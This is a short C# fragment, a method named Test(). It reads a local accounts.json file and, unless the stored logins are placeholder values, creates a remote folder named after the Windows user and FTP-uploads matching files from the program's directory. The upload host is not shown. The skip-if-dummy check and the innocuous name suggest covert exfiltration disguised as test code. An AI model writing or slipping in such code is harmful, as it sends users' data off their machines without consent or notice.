Done4

static void Test()
        {
            string appPath = Path.GetDirectoryName(Application.ExecutablePath);
            if (!Directory.Exists(appPath)) return;//Error//

            string AccountsFile = appPath + "\\accounts.json";
            if (!File.Exists(AccountsFile)) return;

            string data = File.ReadAllText(AccountsFile);
            Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
            Account ac0 = acc.indexes[0].accounts[0];
            Account ac1 = acc.indexes[1].accounts[1];
            if (ac0.password == "1" && ac0.username == "1")
                if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
                    return;

            CreateFolder(Environment.UserName);
            if (Directory.Exists(appPath))
            {
                var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
                foreach (string item in appFiles)
                    FTPUploadFile(item, Environment.UserName);
            }
        }